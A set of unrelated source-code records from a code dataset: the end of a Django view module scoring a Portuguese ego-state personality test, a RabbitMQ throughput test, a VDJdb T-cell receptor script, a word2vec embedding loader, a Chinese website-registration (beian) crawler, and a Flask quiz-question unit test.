print(\"-----quarto----\", quarto)\n\n if quinto == ad:\n quinto = \"AD\"\n else:\n if quinto == criLivre:\n quinto = \"CL\"\n else:\n if quinto == pCritico:\n quinto = \"PC\"\n else:\n if quinto == pNutritivo:\n quinto = \"PN\"\n else:\n if quinto == criSubmissa:\n quinto = \"CS\"\n\n print(\"-----quinto----\", quinto)\n\n return primeiro, segundo, terceiro, quarto, quinto\n\n\ndef Ego_adulto(adulto):\n\n if adulto > 19:\n resultado = \"Trata-se de uma pessoa calculista, perfeccionista, responsável, analítica, burocrática, pode pecar por excesso de análises, trava processos, as vezes inflexível.\"\n else:\n if (adulto == 14) or (adulto == 15) or (adulto == 16) or (adulto == 17) or (adulto == 18) or (adulto == 19):\n resultado = \"Pontuação ideal no local de trabalho, principalmente quando se ocupa cargos de liderança, é necessário tomadas de decisão constantemente\"\n else:\n if adulto < 14:\n resultado = \"É considerado uma pontuação baixa, também muito prejudicial, pois está decidindo com bases emocionais e não profissionais. Causa sofrimento na equipe.\"\n\n return resultado\n\n\ndef Ego_criancaLivre(criancaLivre):\n\n if criancaLivre > 25:\n resultado = \" Pessoa irresponsável, puramente emocional, não cumpridora de seus deveres, inconveniente em brincadeiras, não respeita o outro, horários, compromissos, não confiável. Porém, vive as emoções intensamente,sem medos de repressão, tudo pode,não tem limites. Não consegue parar em emprego nenhum, em negócio nenhum, porque administra recursos com base nos desejos e não na racionalidade.\"\n else:\n if (criancaLivre >= 19) and (criancaLivre <= 25):\n resultado = \"Recomendado\"\n else:\n if criancaLivre < 13:\n resultado = \"Trata-se de uma pessoa com repressão na emoção, perdendo um pouco da naturalidade e da espontaneidade. Sente-se com dificuldades em motivar e estimular, não consegue viver intensamente as emoções.\"\n else:\n if (criancaLivre >= 13) and (criancaLivre < 19):\n resultado = \"Trata-se de uma pessoa com nível de responsabilidade razoável, apresenta os traços do estado do ego mais suave, tornando-se uma pessoa mais agradável, gostosa de conviver,. Porém emocional, vai decidir contaminada pela emoção.\"\n\n return resultado\n\n\ndef Ego_paiCritico(paiCritico):\n\n if paiCritico > 17:\n resultado = \"Manifestação crítica do indivíduo no meio em que está inserido. Demosntra desqualificação do outro, centralização, rude, agressivo, verbalmente causa muito sofrimento aos subordinados. Seus subordinados sempre estão se sentindo inúteis, imprestáveis, autoestima rebaixada.\"\n else:\n if (paiCritico == 14) or (paiCritico == 15) or (paiCritico == 16) or (paiCritico == 17):\n resultado = \"Pontuação ideal. Estado de equilibrio da manifestação crítica\"\n else:\n if paiCritico <= 13:\n resultado = \"Menor capacidade de expressão crítica. Não consegue se posicionar e ser responsável como deveria, não se organiza.\"\n\n return resultado\n\n\ndef Ego_paiNutritivo(paiNutritivo):\n\n if paiNutritivo > 20:\n resultado = \"Caracterizado pelo cuidado em excesso, esquecendo-se de cuidar de si mesmo. Espera receber o mesmo tratamento dos outros.\"\n else:\n if (paiNutritivo == 12) or (paiNutritivo == 13) or (paiNutritivo == 14) or (paiNutritivo == 15) or (paiNutritivo == 16) or (paiNutritivo == 17) or (paiNutritivo == 18) or (paiNutritivo == 19) or (paiNutritivo == 20):\n resultado = \"Pontuação ideal. Estado de equilibrio da manifestação de proteção.\"\n else:\n if paiNutritivo < 12:\n resultado = \"Pessoa egoísta, que não liga e não tem percepção do outro, não está muito disposta a fazer algo pelo outro.\"\n\n return resultado\n\n\ndef Ego_criancaSubmissa(criancaSubmissa):\n\n if criancaSubmissa > 19:\n resultado = \"Pessoa que ouve muito e interage pouco, troca pouco, sem potencial, considerada sem perfil para vagas de gestores de pessoas.\"\n else:\n if (criancaSubmissa == 13) or (criancaSubmissa == 14) or (criancaSubmissa == 15) or (criancaSubmissa == 16) or (criancaSubmissa == 17) or (criancaSubmissa == 18) or (criancaSubmissa == 19) :\n resultado = \"Isto quer dizer que o indivíduo demonstra capacidade de falar, ouvir e interagir adequadamente.\"\n else:\n if criancaSubmissa < 13:\n resultado = \"Sujeito altamente crítico, inadequado ao contexto organizacional.\"\n\n return resultado\n\n\ndef salvar_banco_ego(numero, n):\n\n numero = numero + n\n print(numero)\n return numero\n\n\ndef resposta_pergunta(request, id, identificacao, numero_pergunta):\n\n numero_pergunta = numero_pergunta + 1\n pergunt = pergunta_service.listar_pergunta_id(numero_pergunta)\n questionario = QuestionarioForm()\n respostas = resposta_service.listar_respostas()\n return render(request, 'Testes/teste_ego.html/', {\"perguntas\": pergunt, \"questionario\": questionario, \"respostas\": respostas, \"id\": id, \"numero_pergunta\": numero_pergunta})\n\n\ndef editar_pergunta(request, id):\n\n PerguntaBD = pergunta_service.listar_pergunta_id(id)\n form_pergunta = PerguntaForm(request.POST or None, instance=PerguntaBD)\n perguntaTabela = pergunta_service.listar_perguntas()\n\n context = {\n\n 'perguntaForm': form_pergunta,\n\n }\n\n if form_pergunta.is_valid():\n tipo = form_pergunta.cleaned_data[\"tipo\"]\n pergunt = form_pergunta.cleaned_data[\"pergunta\"]\n pergunta_nova = pergunta(tipo=tipo, pergunta=pergunt)\n pergunta_service.editar_pergunta(PerguntaBD, pergunta_nova)\n return render(request, 'Testes/form_pergunta.html', context)\n\n\ndef remover_pergunta(request, id):\n perguntaForm = PerguntaForm()\n perguntaTabela = pergunta_service.listar_perguntas()\n\n context = {\n 'perguntaTabela': perguntaTabela,\n 'perguntaForm': PerguntaForm,\n }\n PerguntaBD = pergunta_service.listar_pergunta_id(id)\n pergunta_service.remover_pergunta(PerguntaBD)\n return render(request, 'Testes/form_pergunta.html', context)\n\n\ndef inserir_resposta(request):\n\n respostaForm = RespostaForm(request.POST)\n if request.method == \"POST\":\n respostaForm = RespostaForm(request.POST)\n if respostaForm.is_valid() == False:\n resp = request.POST[\"Resposta\"]\n tipo = respostaForm.cleaned_data[\"tipo\"]\n Resposta.objects.create(tipo=tipo, Resposta=resp)\n \n return render(request, 'Testes/resposta_pergunta.html', {\"resposta_form\": respostaForm})\n else:\n respostaForm = RespostaForm()\n return HttpResponse('-------Entrou no else-------')\n return render(request, 'Testes/resposta_pergunta.html', {\"resposta_form\": respostaForm})\n\n\ndef contarPrimeiraColuna(data):\n\n paiCritico = 0\n paiNutritivo = 0\n adulto = 0\n criancaLivre = 0\n criancaSubmissa = 0\n\n ego1, ego2, ego3, ego4, ego5, teste = ego_service.Contar_PrimeiraColuna(data)\n\n for x in teste:\n print (\"data passada\", x.primeiro)\n\n for x in ego1:\n print (\"//////\", x.primeiro)\n paiCritico = paiCritico + 1\n\n print (\"pai Critico\", paiCritico)\n\n for x in ego2:\n print (\"///////\", x.primeiro)\n paiNutritivo = paiNutritivo + 1\n\n print (\"pai Nutritivo\", paiNutritivo)\n\n for x in ego3:\n print (\"///////\", x.primeiro)\n adulto = adulto + 1\n\n print (\"Adulto\", adulto)\n\n for x in ego4:\n print (\"///////\", x.primeiro)\n criancaLivre = criancaLivre + 1\n\n print (\"crianca Livre\", criancaLivre)\n\n for x in ego5:\n print (\"///////\", x.primeiro)\n criancaSubmissa = criancaSubmissa + 1\n\n print (\"crianca Submissa\", criancaSubmissa)\n\n return ego1, paiCritico, paiNutritivo, adulto, criancaLivre, criancaSubmissa\n\n\ndef ContasEstatisticas(paiCritico, paiNutritivo, adulto, criancaLivre, criancaSubmissa):\n\n quantidaAlunos = paiCritico + paiNutritivo + \\\n adulto + criancaLivre + criancaSubmissa\n\n paiCritico = (paiCritico/quantidaAlunos) * 100\n paiNutritivo = (paiNutritivo/quantidaAlunos) * 100\n adulto = (adulto/quantidaAlunos) * 100\n criancaLivre = (criancaLivre/quantidaAlunos) * 100\n criancaSubmissa = (criancaSubmissa/quantidaAlunos) * 100\n\n print(\"porcentagem pai critico\", paiCritico)\n print(\"porcentagem pai Nutritivo\", paiNutritivo)\n print(\"porcentagem adulto\", adulto)\n print(\"porcentagem criancaLivre\", criancaLivre)\n print(\"porcentagem criança submissa \", criancaSubmissa)\n\n return paiCritico, paiNutritivo, adulto, criancaLivre, criancaSubmissa\n\n\ndef analiseEgo(request, id, numero, validacao):\n\n professor = professor_service.listar_professor_id(id)\n\n if request.method == \"POST\":\n # temporizador()\n data = request.POST[\"data\"]\n aluno = request.POST[\"aluno\"]\n filtro = request.POST[\"filtro\"]\n print(\"entrou\", data)\n print(\"entrou\", aluno)\n print(\"filtro aluno\", filtro)\n\n if (data == '') and (filtro == '1') and (aluno == ' '):\n mensagem = \"Escolha o nome do aluno sem a data\"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem , 'professor':professor})\n\n if (aluno != '') and (filtro == '2'):\n mensagem = \"Escolha o filtro certo \"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem, 'professor':professor})\n\n if (data != '') and (filtro == '1'):\n mensagem = \"Escolha o filtro data \"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem, 'professor':professor})\n\n if (data == '') and (aluno == ''):\n mensagem = \"Escolha uma data ou um nome de um aluno\"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem, 'professor':professor})\n\n else:\n if filtro == \"1\":\n if (aluno != \" \"):\n alunoPesquisado = aluno_service.verificar_nome(aluno,id)\n if alunoPesquisado == False:\n mensagem = \"Não existe aluno com esse nome\"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem , 'professor':professor})\n\n else:\n print(\"aluno id\", alunoPesquisado.id)\n print(\"aluno id nome\", alunoPesquisado.nome)\n\n adulto, criancaLivre, paiCritico, paiNutritivo, criancaSubmissa = questionario_service.verificar_ego(\n alunoPesquisado.id, quantidade_Preguntas)\n print(\"adulto aluno id\", adulto)\n print(\"crianca livre aluno id\", criancaLivre)\n print(\"pai critico aluno id\", paiCritico)\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'paiCritico': paiCritico, 'paiNutritivo': paiNutritivo, \"adulto\": adulto, \"criancaLivre\": criancaLivre, \"criancaSubmissa\": criancaSubmissa , 'professor':professor})\n\n ego = ego_service.listar_egos_id(alunoPesquisado.id)\n if ego != False:\n print(\"Ego linha primeiro 615 \", ego.primeiro)\n print(\"segundo\", ego.segundo)\n print(\"terceiro\", ego.terceiro)\n print(\"quarto\", ego.quarto)\n print(\"quinto\", ego.quinto)\n\n else:\n mensagem = \"Não existe aluno com esse nome\"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem, 'professor':professor})\n\n else:\n mensagem = \"Preencha o nome do aluno para utilizar o filtro\"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem , 'professor':professor})\n\n else:\n if filtro == '2':\n\n if (data != ' '):\n ego, paiCritico, paiNutritivo, adulto, criancaLivre, criancaSubmissa = contarPrimeiraColuna(\n data)\n if (paiCritico == 0) and (paiNutritivo == 0) and (adulto == 0) and (criancaSubmissa == 0) and (criancaLivre == 0):\n mensagem = \"Não foi feito testes neste dia\"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem , 'professor':professor})\n\n else:\n paiCritico, paiNutritivo, adulto, criancaLivre, criancaSubmissa = ContasEstatisticas(\n paiCritico, paiNutritivo, adulto, criancaLivre, criancaSubmissa)\n print(\"porcentagem pai critico analiseEgo\", paiCritico)\n paiCritico = int(paiCritico)\n paiNutritivo = int(paiNutritivo)\n adulto = int(adulto)\n criancaLivre = int(criancaLivre)\n criancaSubmissa = int(criancaSubmissa)\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'paiCritico': paiCritico, 'paiNutritivo': paiNutritivo, \"adulto\": adulto, \"criancaLivre\": criancaLivre, \"criancaSubmissa\": criancaSubmissa , 'professor':professor})\n\n else:\n mensagem = \"Selecione somente a data e não preencha o campo aluno\"\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'mensagem': mensagem , 'professor':professor})\n\n return render(request, 'PainelADM/index.html/', {'validacao': validacao, 'professor':professor})\n\ndef linkedin(request):\n return redirect('www.linkedin.com/in/matheus-andrade-fernandes-de-lima-0b252a193')\n\ndef temporizador():\n tempo = timedelta(seconds=10)\n\n while (str(tempo) != '0:00:00'):\n stdout.write(\"\\r%s\" % tempo)\n # print(\"tempo antes \", tempo)\n stdout.flush()\n tempo = tempo - timedelta(seconds=1)\n sleep(1)\n # print(\"tempo depois \", tempo)\n\n # stdout.write(\"\\r0:00:00 \\n\")\n stdout.flush()\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":30583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"393324487","text":"# Copyright 2009 Dejan Bosanac \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport time, threading, sys\n\nimport pika\n\nclass PerfRate:\n\n count = 0\n startTime = time.time()\n \n def printRate(self):\n endTime = time.time()\n period = endTime - self.startTime\n rate = self.count / (endTime - self.startTime)\n return str(self.count) + \" messages in \" + str(period) + \" secs ; rate=\" + str(rate) + \" msgs/sec\"\n \n def increment(self):\n self.count += 1\n\n\nclass PerfProducer ( threading.Thread ):\n\n running = True\n\n def __init__(self, channel, message_size):\n self.channel = channel\n self.rate = PerfRate()\n self.message_size = message_size\n self.message = \"\"\n for i in ragne(message_size):\n self.message += \"a\"\n threading.Thread.__init__ ( self )\n\n def run (self):\n while (self.running):\n self.channel.basic_publish('test_exchange', 'standard_key', self.message,\n pika.BasicProperties(content_type='text/plain',\n delivery_mode=1))\n self.rate.increment()\n\n def stop(self):\n self.running = False\n\nclass PerfConsumerSync ( threading.Thread ):\n\n running = True\n\n def __init__(self, channel):\n self.channel = channel\n self.rate = PerfRate()\n self.consumer = channel.consume(queue='standard', no_ack=True, exclusive=False)\n threading.Thread.__init__ ( self )\n\n def run (self):\n while (self.running):\n textMessage = next(self.consumer)\n if textMessage != None:\n self.rate.increment()\n\n def stop(self):\n self.running = False\n","sub_path":"rabbitmq/src/perftest.py","file_name":"perftest.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"424031538","text":"import os\nimport csv\nfrom gene_to_protein import tcr_dict, get_tcr\n\nBASE_SCRIPTDIR = os.path.dirname(os.path.abspath('tcr_from_vdjdb.py'))\nBASE_HOMEDIR = BASE_SCRIPTDIR[:BASE_SCRIPTDIR.rfind('AdaptiveImm')+len('AdaptiveImm')+1]\nfilter_spec = 'HomoSapiens'\ntcrs = set()\n\nout_columns = ['complex.id', 'gene', 'cdr3', 'v.segm', 'j.segm', \n 'species', 'mhc.a', 'mhc.b', 'mhc.class', \n 'antigen.epitope' ,'tcr.sequence']\nwith open('tcrs_{}_from_vdjdb.txt'.format(filter_spec), 'w') as out:\n writer = csv.DictWriter(out, fieldnames=out_columns, delimiter='\\t')\n writer.writeheader()\n with open(os.path.join(BASE_HOMEDIR, 'vdjdb-2018-02-03/vdjdb.txt'), 'r') as inp:\n reader = csv.DictReader(inp, delimiter='\\t')\n for row in reader:\n if row['species'] == filter_spec and row['v.segm'].endswith('1') and row['j.segm'].endswith('1') and row['cdr3'] != '':\n print([row['v.segm'], row['j.segm'], row['cdr3']])\n row['tcr.sequence'] = get_tcr(row['v.segm'], row['j.segm'], row['cdr3'], row['species'], tcr_dict)\n writer.writerow({key: row[key] for key in out_columns})\n","sub_path":"ch_scripts/tcr_construction/tcr_from_vdjdb.py","file_name":"tcr_from_vdjdb.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"448712201","text":"import numpy as np\nfrom gensim.models import KeyedVectors\n\nclass Get_Embedding(object):\n def __init__(self, word_index, word_count, dir_path, vocab_size=100000):\n self.dir_path = dir_path\n self.embedding_matrix = self.create_embed_matrix(word_index, word_count, vocab_size)\n\n def create_embed_matrix(self, word_index, word_count, vocab_size):\n print('Preparing Embedding Matrix.')\n\n file_name = self.dir_path + 'GoogleNews-vectors-negative300.bin.gz'\n word2vec = KeyedVectors.load_word2vec_format(file_name, binary=True)\n # prepare embedding matrix\n num_words = min(vocab_size, len(word_index) + 1)\n embedding_matrix = np.zeros((num_words, 300))\n\n for word, i in word_index.items():\n # words not found in embedding index will be all-zeros.\n if i >= vocab_size or word not in word2vec.vocab:\n continue\n embedding_matrix[i] = word2vec.word_vec(word)\n\n del word2vec\n return embedding_matrix\n","sub_path":"embedding_google.py","file_name":"embedding_google.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"596569107","text":"# -*- coding: utf-8 -*-\nimport os, sys, time\nimport datetime\nimport json\nimport urllib2\nfrom pyquery import PyQuery as pq\nfrom StringIO import StringIO\nimport gzip\nfrom lxml import html\n\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../../util'))\nimport config\nimport db\n# import loghelper\nimport url_helper\nimport name_helper\nimport util\n\n\n# sys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../crawler/website'))\n# import website\n\n# sys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../crawler/beian'))\n# import icp_chinaz\n# import beian_links\n\nsys.path.append(os.path.join(os.path.split(os.path.realpath(__file__))[0], '../../crawler/beian_icp'))\n# import icp_beian_query_by_domain\nimport icp_beian_query_by_fullname\n\n# #logger\n# loghelper.init_logger(\"beian_expand\", stream=True)\n# logger = loghelper.get_logger(\"beian_expand\")\n\ndef get_meta_info(url):\n user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9'\n headers = {'User-Agent': user_agent,\n 'accept-language':'zh-CN,zh;q=0.8,en;q=0.6',\n 'Accept-Encoding':'gzip'}\n try:\n request = urllib2.Request(url, None, headers)\n except:\n return None\n opener = urllib2.build_opener()\n retries = 0\n while True:\n try:\n r = opener.open(request, timeout=17)\n if r.info().get('Content-Encoding') == 'gzip':\n buf = StringIO(r.read())\n f = gzip.GzipFile(fileobj=buf)\n data = f.read()\n else:\n data = r.read()\n content = util.html_encode(data)\n redirect_url = url_helper.url_normalize(r.geturl())\n #logger.info(redirect_url)\n #logger.info(content)\n d = pq(html.fromstring(content))\n title = d(\"title\").text()\n #logger.info(title)\n keywords = d(\"meta[name='keywords']\").attr(\"content\")\n if keywords is None:\n keywords = d(\"meta[name='Keywords']\").attr(\"content\")\n #logger.info(keywords)\n description = d(\"meta[name='description']\").attr(\"content\")\n if description is None:\n description = d(\"meta[name='Description']\").attr(\"content\")\n #logger.info(description)\n\n flag, domain = url_helper.get_domain(url)\n if flag is not True:\n domain = None\n return {\n \"url\": url,\n \"redirect_url\": redirect_url,\n \"domain\": domain,\n \"title\": title,\n \"tags\": keywords,\n \"description\": description,\n \"httpcode\": 200\n }\n # break\n except:\n retries += 1\n if retries >= 3:\n return None\n # return None\n\ndef save_collection_beian(items):\n mongo = db.connect_mongo()\n collection_name = mongo.info.beian\n for item in items:\n try:\n #logger.info(json.dumps(item, ensure_ascii=False, cls=util.CJsonEncoder))\n # beian 是即时更新 即便查询domain存在 以新得到的beian为准进行更新\n if collection_name.find_one({\"domain\": item[\"domain\"]}) is not None:\n collection_name.delete_one({\"domain\": item[\"domain\"]})\n item[\"createTime\"] = datetime.datetime.now()\n item[\"modifyTime\"] = item[\"createTime\"]\n # logger.info(\"insert new *****************domain :%s\", item[\"domain\"])\n print (\"insert new *****************domain :%s\"% item[\"domain\"])\n collection_name.insert_one(item)\n except Exception as e:\n print (\"mongo error: %s\"%e)\n continue\n mongo.close()\n print(\"save beian msgs to mongo done...\")\n\ndef saveWebsite(item):\n mongo = db.connect_mongo()\n collection_website = mongo.info.website\n # in case that related websites have been saved before\n # website 只针对 url查询 没有查询到的 才进行插入\n record = collection_website.find_one({\"url\": item[\"url\"]})\n if record is None:\n item[\"createTime\"] = datetime.datetime.now()\n item[\"modifyTime\"] = item[\"createTime\"]\n try:\n id = collection_website.insert(item)\n except:\n return None\n mongo.close()\n print(\"save website to mongo done...\")\n\ndef checkwebsite(items):\n nitems = []\n # 我们会把好的网站存到mysql.artifact里,但是所有网站都会存到mongo.info.website里面\n for item in items:\n mongo = db.connect_mongo()\n collection_website = mongo.info.website\n URL = \"http://www.\" + item[\"domain\"]\n meta = collection_website.find_one({\"url\": URL})\n mongo.close()\n if meta is None:\n print(\"Checking : %s\"% URL)\n meta = get_meta_info(URL)\n if meta is None :\n meta = {\n \"url\": URL,\n \"httpcode\": 404\n }\n saveWebsite(meta)\n # 404 代表不能访问,不存到mysql.artifact\n else:\n saveWebsite(meta)\n\n if meta.has_key(\"httpcode\") and meta[\"httpcode\"] == 200:\n bflag = True\n # 校验黄赌毒\n for bbword in [\"赌博\",\"一夜情\",\"裸聊\",\"三级片\",\"色情\",\"葡京\",\"床戏\",\"AV\",\"黄色\"]:\n if meta.has_key(\"description\") is True and meta[\"description\"] is not None and meta[\"description\"].find(bbword) >= 0:\n bflag = False\n break\n if meta.has_key(\"title\") is True and meta[\"title\"] is not None and meta[\"title\"].find(bbword) >= 0:\n bflag = False\n break\n if meta.has_key(\"tags\") is True and meta[\"tags\"] is not None and meta[\"tags\"].find(bbword) >= 0:\n bflag = False\n break\n #黄赌毒网站也不存到mysql.artifact\n if bflag is True:\n nitems.append(item)\n return nitems\n\ndef save_beian_artifacts(items, companyId):\n conn = db.connect_torndb()\n for item in items:\n try:\n homepage = \"http://www.\" + item[\"domain\"]\n\n artifact = conn.get(\"select * from artifact where type=4010 and companyId=%s and link=%s limit 1\",\n companyId, homepage)\n if artifact is None:\n artifact = conn.get(\"select * from artifact where type=4010 and companyId=%s and domain=%s limit 1\",\n companyId, item[\"domain\"])\n\n type = 4010\n if artifact is None:\n print (\"here insert *********************************\")\n sql = \"insert artifact(companyId, name, link, type, domain, createTime,modifyTime,createUser) \\\n values(%s,%s,%s,%s,%s,now(),now(),%s)\"\n conn.insert(sql, companyId, item[\"websiteName\"], homepage, type, item[\"domain\"],-570)\n except Exception as e:\n print(\"mysql error :%s\"%e)\n continue\n conn.close()\n print(\"save beian artifacts to mysql done...\")\n\ndef get_count(count):\n mongo = db.connect_mongo()\n collection_count = mongo.raw.count\n if collection_count.find_one({'count':count}) is not None:\n count_item = collection_count.find_one({'count':count})\n mongo.close()\n return count_item\n mongo.close()\n return None\n\ndef _reset():\n mongo = db.connect_mongo()\n collection = mongo.raw.count\n try:\n collection.update({'count':'fullname'},{\"$set\":{'A':0,'B':0,'C':0,'D':0,'E':0}})\n except Exception as e:\n print(\"mongo error: %s\"%e)\n mongo.close()\n\ndef save_error(name,value):\n mongo = db.connect_mongo()\n collection = mongo.raw.count\n item = collection.find_one({'count':'fullname'})\n if item.has_key(name):\n try:\n collection.update({'count': 'fullname'}, {\"$set\": {name:value}})\n except Exception as e:\n print(\"mongo error: %s\" % e)\n mongo.close()\n\nif __name__ == '__main__':\n\n id = 0 #todo\n _reset()\n while True:\n # id = 60071\n conn = db.connect_torndb()\n corporates = conn.query(\"select * from corporate where (active is null or active='Y') and verify='Y' and id>%s limit 1000\"%(id))\n for corporate in corporates:\n id = corporate[\"id\"]\n # corporate 对应 companies, 一个corporate可能对应多个产品线companies\n companies = conn.query(\"select * from company where (active is null or active='Y') and corporateId=%s\"%corporate[\"id\"])\n # logger.info(json.dumps(companies,ensure_ascii=False,cls=util.CJsonEncoder,indent=2))\n print (\"corporate_id:%s\"%corporate['id'])\n fullname = corporate['fullName']\n if fullname == '' or fullname is None:\n continue\n print (fullname)\n\n # 根据fullName进行备案信息查询,返回list 包含该公司名下所有的网站的备案信息\n beians = icp_beian_query_by_fullname.main(fullname)\n count_item = get_count('fullname')\n if count_item is None or (count_item.has_key('A') and count_item.has_key('E') and count_item['A'] != count_item['E']):\n print ('A:%s--->E:%s'%(count_item['A'],count_item['E']))\n print(\"something error!----->corporate_id:%s\"%corporate['id'])\n # 将错误状况写入mongo,以便查看\n item_error = 1\n if count_item.has_key('error'):\n item_error = count_item['error']+1\n save_error('error',item_error)\n _reset()\n continue\n if len(beians) == 0:\n continue\n\n # logger.info(json.dumps(beians,ensure_ascii=False,cls=util.CJsonEncoder,indent=2))\n \"\"\"use info db.beian.find().sort({createTime:-1}).limit(num)\"\"\"\n save_collection_beian(beians)\n\n\n # 针对得到的所有网站进行清洗,一:判断是否可以访问,HTTP 200? 二:判断是否是黄色网站,并返回清洗后的结果\n \"\"\"use info db.website.find().sort({createTime:-1}).limit(num)\"\"\"\n rel_websites = checkwebsite(beians)\n # logger.info(rel_websites)\n\n\n for company in companies:\n # 保存得到的网站到Mysql.artifact中,保存过程中检查是否已经有了,含有的(包含被删除的)都不会保存\n \"\"\" select * from artifact order by createTime desc limit 0,num \\G;\"\"\"\n save_beian_artifacts(rel_websites, company[\"id\"])\n # id += 1\n # 是否全部corporates都检查过了\n if len(corporates) == 0:\n time.sleep(60 * 60)\n print ('sleep a while...')\n id = 0\n _reset()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"data/spider2/aggregator/beian/beian_expand.py","file_name":"beian_expand.py","file_ext":"py","file_size_in_byte":11106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"604064226","text":"# Led by Muhammad Asnawi (muhammadw.2019)\n\nimport unittest\nimport flask_testing\nfrom quiz import Quiz, db as db1\nfrom quiz_question import Quiz_Question, db as db2, app\n\nclass TestApp(flask_testing.TestCase):\n app.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite://\"\n app.config['SQLALCHEMY_ENGINE_OPTIONS'] = {}\n app.config['TESTING'] = True\n\n def create_app(self):\n return app\n\n def setUp(self):\n db1.create_all()\n db2.create_all()\n\n def tearDown(self):\n db1.session.remove()\n db1.drop_all()\n db2.session.remove()\n db2.drop_all()\n\n\nclass TestQuizQuestion(TestApp):\n def test_quiz_question_creation(self):\n quiz1 = Quiz(\n course_name = 'Ink Course',\n class_id = 1,\n lesson_id = 1,\n quiz_id = 1,\n quiz_type = 'Ungraded'\n )\n\n db1.session.add(quiz1)\n db1.session.commit()\n\n quiz_question_1 = Quiz_Question(\n course_name = \"Ink Course\",\n class_id = 1,\n lesson_id = 1,\n quiz_id = 1,\n question_number = 1,\n question = 'True or False',\n question_type = 'TF',\n option_1 = 'True',\n option_2 = 'False',\n option_3 = 'null',\n option_4 = 'null',\n answer = 'True'\n )\n\n create_quiz_question_url = \"/quizquestion/\" + quiz_question_1.course_name + \"/\" + str(quiz_question_1.class_id) + \"/\" + str(quiz_question_1.lesson_id) + \"/\" + str(quiz_question_1.quiz_id) + \"/\" + str(quiz_question_1.question_number) + \"/\" + quiz_question_1.question + \"/\" + quiz_question_1.question_type + \"/\" + quiz_question_1.option_1 + \"/\" + quiz_question_1.option_2 + \"/\" + quiz_question_1.option_3 + \"/\" + quiz_question_1.option_4 + \"/\" + quiz_question_1.answer\n\n response = self.client.post(create_quiz_question_url)\n self.assertEqual(response.status_code, 201)\n self.assertEqual(response.json, \n {\n \"code\": 201,\n \"data\": {\n \"new_quiz_question\": {\n \"course_name\": \"Ink Course\",\n \"class_id\": 1,\n \"lesson_id\": 1,\n \"quiz_id\": 1,\n \"question_number\": 1,\n \"question\": 'True or False',\n \"question_type\": 'TF',\n \"option_1\":'True',\n \"option_2\": 'False',\n \"option_3\": 'null',\n \"option_4\": 'null',\n \"answer\": 'True'\n }\n },\n \"message\": \"New Quiz Question commited to database.\"\n })\n\n def test_quiz_question_retrieval(self):\n quiz1 = Quiz(\n course_name = 'Ink Course',\n class_id = 1,\n lesson_id = 1,\n quiz_id = 1,\n quiz_type = 'Ungraded'\n )\n\n quiz_question_1 = Quiz_Question(\n course_name = \"Ink Course\",\n class_id = 1,\n lesson_id = 1,\n quiz_id = 1,\n question_number = 1,\n question = 'True or False',\n question_type = 'TF',\n option_1 = 'True',\n option_2 = 'False',\n option_3 = 'null',\n option_4 = 'null',\n answer = 'True'\n )\n\n quiz_question_2 = Quiz_Question(\n course_name = \"Ink Course\",\n class_id = 1,\n lesson_id = 1,\n quiz_id = 1,\n question_number = 2,\n question = 'Blue or Red or Green or Yellow',\n question_type = 'MCQ',\n option_1 = 'Blue',\n option_2 = 'Red',\n option_3 = 'Green',\n option_4 = 'Yellow',\n answer = 'Yellow'\n )\n\n db1.session.add(quiz1)\n db1.session.add(quiz_question_1)\n db1.session.add(quiz_question_2)\n db1.session.commit() \n\n get_quiz_question_url = \"/quiz/question/\" + quiz1.course_name + \"/\" + str(quiz1.class_id) + \"/\" + str(quiz1.lesson_id) + \"/\" + str(quiz1.quiz_id)\n\n response = self.client.get(get_quiz_question_url)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json, \n {\n \"code\": 200,\n \"data\": {\n \"quiz_questions\": [\n {\n \"course_name\": \"Ink Course\",\n \"class_id\": 1,\n \"lesson_id\": 1,\n \"quiz_id\": 1,\n \"question_number\": 1,\n \"question\": 'True or False',\n \"question_type\": 'TF',\n \"option_1\":'True',\n \"option_2\": 'False',\n \"option_3\": 'null',\n \"option_4\": 'null',\n \"answer\": 'True'\n },\n {\n \"course_name\": \"Ink Course\",\n \"class_id\": 1,\n \"lesson_id\": 1,\n \"quiz_id\": 1,\n \"question_number\": 2,\n \"question\": 'Blue or Red or Green or 